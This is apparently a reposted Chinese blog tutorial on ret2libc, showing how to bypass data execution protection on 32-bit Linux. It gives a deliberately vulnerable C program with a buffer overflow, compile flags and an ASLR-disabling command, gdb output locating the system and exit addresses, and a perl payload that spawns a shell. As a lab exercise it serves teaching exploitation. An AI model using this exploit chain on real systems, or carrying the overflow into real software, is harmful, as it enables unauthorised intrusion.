zoukankan      html  css  js  c++  java
  • 使用ret2libc攻击方法绕过数据执行保护

    参考:[1] http://blog.csdn.net/linyt/article/details/43643499

       [2] http://blog.csdn.net/zhongyunde/article/details/8607401

    主要内从是从[1]中抄过来的,修改了测试用例,原始例子我这测试通不过。。。

    前面介绍的攻击方法大量使用Shellcode,核心思想是修改EIP和注入Shellcode,在函数返回时跳到Shellcode去执行。要防止这种攻击,最有效的办法就是让攻击者注入的Shellcode无法执行,这就是数据执行保护(Data Execution Prevention, DEP)安全机制的初衷。


    数据执行保护机制

    DEP述语是微软公司提出来的,在window XP操作系统开始支持该安全特性。DEP特性需要硬件页表机制来提供支持。

    X86 32位架构页表上没有NX(不可执行)位,只有X86 64位才支持NX位。 所以Window XP和Window 2003在64位CPU直接使用硬件的NX位来实现;而32位系统上则使用软件模拟方式去实现。

     

    Linux在X86 32位CPU没有提供软件的DEP机制,在64位CPU则利用NX位来实现DEP(当前Linux很少将该特性说成DEP)

     

    DEP就是将非代码段的地址空间设置成不可执行属性,一旦系统从这些地址空间进行取指令时,CPU就是报内存违例异常,进而杀死进程。栈空间也被操作系统设置了不可执行属性,因此注入的Shellcode就无法执行了。

    DEP破解方法——ret2libc

     

    “魔高一尺,道高一丈”这句话有时候是否可以反过来说呢? 因为攻和防都是相互发展,如果没有了攻,就没有安全机制的发展。

    既然注入Shellcode无法执行,进程和动态库的代码段怎么也要执行吧,具有可执行属性,那攻击者能否利用进程空间现有的代码段进行攻击,答案是肯定的。

     

    前面介绍了本地shellcode的编写,它的功能是通过execve执行/bin/sh,那么系统函数库(Linux称为glibc)有个system函数,它就是通过/bin/sh命令去执行一个用户执行命令或者脚本,我们完全可以利用system来实现Shellcode的功能。EIP一旦改写成system函数地址后,那执行system函数时,它需要获取参数。而根据Linux X86 32位函数调用约定,参数是压到栈上的。噢,栈空间完全由我们控制了,所以控制system的函数不是一件难事情。

     

    这种攻击方法称之为ret2libc,即return-to-libc,返回到系统库函数执行 的攻击方法。

     

    构建栈结构  (下图来自参考[2])

     

     

    首先在执行栈结构中,将EIP填充为system函数的地址,然后函数返回时,跳到system函数中执行。在执行刚进入system函数时,此时esp指向的地址为前EIP高4字节的地址,然后在system函数,从它的视角来看,esp指向的是它的返回地址(EIP),而esp + 8就是它的函数,整个结构如下图所示:

     

     

    观察上图,发现system函数完后,它会从EIP(unkown)这空间获取返回到上级函数,为了防止system返回后出现程序运错误,我们在这里面可以填上exit函数的址,让程序默默地退出。 

    因此,攻击注入的结构是:

     

    AxN + system_addr + exit_addr + arg

     

    system函数的参数使用什么好呢?Linux里面有个环境变量SHELL,我们只要将这个环境变的地址找出来,就把它传给system。

     

    漏洞代码和编译过程

    这里我们还是使用前面介绍 ret2reg攻击方法的例法,但为了避免冲突,将程序命名stack3.c

     1 #include <stdio.h>
     2 #include <string.h>
     3 
     4 void f()
     5 {
     6     char buffer[32];
     7     FILE *fp;
     8 
     9     fp = fopen("bad.txt", "r");
    10     if(!fp) {
    11         perror("fopen");
    12         return ;
    13     }
    14     fread(buffer, 1024, 1, fp);
    15     printf("data : %s
    ", buffer);
    16 }
    17 
    18 void f2()
    19 {
    20     f();
    21 }
    22 int main(int argc, char **argv)
    23 {
    24     f2();
    25     return 0;
    26 }

    编译:

    $ gcc -Wall -g -o stack3 stack3.c -fno-stack-protector -m32

    请注意,gcc命令中少了-z execstack参数,即程序在加载运行后,栈不可以执行。

    同时需要禁用地址随机化功能:

    echo 0 > /proc/sys/kernel/randomize_va_space

     

     

    对准EIP,查找system、exit和shell地址

    对准EIP方法和前面的完全一样,首先以32A,追加"BBBB",然后每次增加 4个A,真到生成core,EIP被注入为"BBBB":

    $ perl -e 'printf "A"x48 . "BBBB"' > bad.txt ; ./stack3

     

    $ gdb ./stack3 core -q

    Reading symbols from /home/ivan/exploit/stack3...done.

    [New LWP 4230]

     

    warning: Can't read pathname for load map: Input/output error.

    Core was generated by `./stack3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.

    Program terminated with signal 11, Segmentation fault.

    #0  0x42424242 in ?? ()

    (gdb) p system

    $1 = {<text variable, no debug info>} 0xf7e43920 <system>

    (gdb) p exit

    $2 = {<text variable, no debug info>} 0xf7e37790 <exit>

     

    从core文件中看到,EIP被注入了BBBB。 system和exit函数地址分别是: 0xf7e43920和0xf7e37790

    进程的环境变量在主线程的函数栈内,从ESP开始,查看所有的字符串,直到出现"shell="这样的字符串:

     

    (gdb) x/10000s $esp

    ...

    0xffffd307:    "CLUTTER_IM_MODULE=xim"
    0xffffd31d:    "GPG_AGENT_INFO=/home/rg/.gnupg/S.gpg-agent:0:1"
    0xffffd34c:    "TERM=xterm-256color"
    0xffffd360:    "VTE_VERSION=4205"
    0xffffd371:    "SHELL=/bin/bash"
    0xffffd381:    "QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1"
    0xffffd3a4:    "WINDOWID=67108874"
    0xffffd3b6:    "LC_NUMERIC=zh_CN.UTF-8"
    0xffffd3cd:    "UPSTART_SESSION=unix:abstract=/com/ubuntu/upstart-session/1000/1243"
    0xffffd411:    "GNOME_KEYRING_CONTROL="
    0xffffd428:    "GTK_MODULES=gail:atk-bridge:unity-gtk-module"

     

    发现0xffffd371有"SHELL=/bin/bash"环境变化,直接提取字符串:

    (gdb) x/s 0xffffd371+6
    0xffffd377:    "/bin/bash"

    ok,system, exit和字符串地址都清楚了,那构造攻击内容为:

     

    "A"x48 + "x20x39xe4xf7" + "x90x77xe3xf7" + "x77xd3xffxff"'

     

    测试

    $ perl -e 'printf "A"x48 . "x20x39xe4xf7" . "x90x77xe3xf7" . "x77xd3xffxff"' > bad.txt ; ./stack3

    成功打开了一个bash。

     

    最后的测试好坑,在我的测试中,最后程序结束完,bash并没有任何变化,也没有出现报错的情况,我一直以为是没有测试成功。

    直到最后我准备关掉term时,才发现,当前的term已经不是之前那个了,ctrl+D推出的是测试时打开的term~

     

    本文内容主要从以下两个博客中学习和抄写而来,结合自己的测试代码:

    [1] http://blog.csdn.net/linyt/article/details/43643499

    [2] http://blog.csdn.net/zhongyunde/article/details/8607401 

  • 相关阅读:
    初识ES6
    初识NODE
    AJAX详解
    PHP 文件与目录操作函数总结
    PHP封装一个通用好用的文件上传处理类
    PHP基础之 错误处理 及 异常处理
    PHP基础OOP(二) 多态
    PHP基础之 重载 的实现方式
    CCS3的过渡、变换、动画以及响应式布局、弹性布局
    CSS之盒子模型(由浅到深的理解)
  • 原文地址:https://www.cnblogs.com/qwertwwwe/p/5749206.html
Copyright © 2011-2022 走看看